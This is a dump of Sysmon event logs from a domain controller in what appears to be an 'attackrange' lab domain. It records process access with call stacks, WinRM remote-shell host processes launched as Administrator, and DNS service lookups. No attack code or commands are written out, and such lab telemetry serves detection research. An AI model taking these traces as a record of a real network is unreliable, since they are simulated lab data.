09:09:59.496{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28E7-5F80-7400-000000007F01}4140C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002430Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28E7-5F80-7400-000000007F01}4140C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002429Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.510{A5F018FF-28E7-5F80-7400-000000007F01}4140C:\Windows\System32\winrshost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for WinRM's Remote Shell pluginMicrosoft® Windows® Operating SystemMicrosoft Corporationwinrshost.exeC:\Windows\system32\WinrsHost.exe -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{A5F018FF-28E1-5F80-7E2A-040000000000}0x42a7e0HighMD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x80000000000000002428Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28E7-5F80-7200-000000007F01}748C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002427Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.480{A5F018FF-28E7-5F80-7300-000000007F01}13044108C:\Windows\system32\conhost.exe{A5F018FF-28E7-5F80-7200-000000007F01}748C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002426Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.480{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-28E7-5F80-7300-000000007F01}1304C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002425Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.480{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002424Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.480{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002423Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.480{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002422Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.480{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002421Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.480{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002420Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.480{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002419Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.480{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002418Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.464{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002417Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.464{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002416Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.464{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28E7-5F80-7200-000000007F01}748C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002415Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.464{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28E7-5F80-7200-000000007F01}748C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002414Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.479{A5F018FF-28E7-5F80-7200-000000007F01}748C:\Windows\System32\winrshost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for WinRM's Remote Shell pluginMicrosoft® Windows® Operating SystemMicrosoft Corporationwinrshost.exeC:\Windows\system32\WinrsHost.exe -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{A5F018FF-28DB-5F80-6DE8-030000000000}0x3e86d0HighMD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x80000000000000002413Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.464{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002412Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.418{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28E7-5F80-7100-000000007F01}3000C:\Windows\system32\DllHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002411Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.418{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28E7-5F80-7100-000000007F01}3000C:\Windows\system32\DllHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002410Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.418{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28E7-5F80-7100-000000007F01}3000C:\Windows\system32\DllHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002409Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.402{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1fb7a|C:\Windows\SYSTEM32\samsrv.dll+5df1|C:\Windows\SYSTEM32\samsrv.dll+5cf2|C:\Windows\SYSTEM32\samsrv.dll+178ce|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 22542200x80000000000000002509Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.534{A5F018FF-28BF-5F80-1300-000000007F01}1264win-dc-1796611.attackrange.local0fe80::c37:320b:f5ff:fef1;fe80::15f7:4ea2:8f9e:67e8;::ffff:10.0.1.14;C:\Windows\System32\svchost.exe 22542200x80000000000000002508Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.474{A5F018FF-28BF-5F80-1200-000000007F01}1256win-dc-1796611.attackrange.local0fe80::c37:320b:f5ff:fef1;fe80::15f7:4ea2:8f9e:67e8;::ffff:10.0.1.14;C:\Windows\System32\svchost.exe 22542200x80000000000000002507Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.470{A5F018FF-28BD-5F80-0B00-000000007F01}868_ldap._tcp.Default-First-Site-Name._sites.ForestDnsZones.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002506Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.465{A5F018FF-28BD-5F80-0B00-000000007F01}868_ldap._tcp.ForestDnsZones.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002505Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.461{A5F018FF-28BD-5F80-0B00-000000007F01}868ForestDnsZones.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002504Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.458{A5F018FF-28BD-5F80-0B00-000000007F01}868_ldap._tcp.Default-First-Site-Name._sites.DomainDnsZones.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002503Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.453{A5F018FF-28BD-5F80-0B00-000000007F01}868_ldap._tcp.DomainDnsZones.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002502Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.449{A5F018FF-28BD-5F80-0B00-000000007F01}868DomainDnsZones.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002501Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.446{A5F018FF-28BD-5F80-0B00-000000007F01}868_kpasswd._udp.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002500Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.442{A5F018FF-28BD-5F80-0B00-000000007F01}868_kpasswd._tcp.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002499Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.439{A5F018FF-28BD-5F80-0B00-000000007F01}868_kerberos._udp.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002498Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.435{A5F018FF-28BD-5F80-0B00-000000007F01}868_gc._tcp.Default-First-Site-Name._sites.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002497Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.428{A5F018FF-28BD-5F80-0B00-000000007F01}868_gc._tcp.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002496Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.423{A5F018FF-28BD-5F80-0B00-000000007F01}868_kerberos._tcp.Default-First-Site-Name._sites.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002495Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.418{A5F018FF-28BD-5F80-0B00-000000007F01}868_kerberos._tcp.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002494Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.415{A5F018FF-28BD-5F80-0B00-000000007F01}868_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002493Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.412{A5F018FF-28BD-5F80-0B00-000000007F01}868_ldap._tcp.dc._msdcs.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002492Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.408{A5F018FF-28BD-5F80-0B00-000000007F01}868_kerberos._tcp.Default-First-Site-Name._sites.dc._msdcs.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 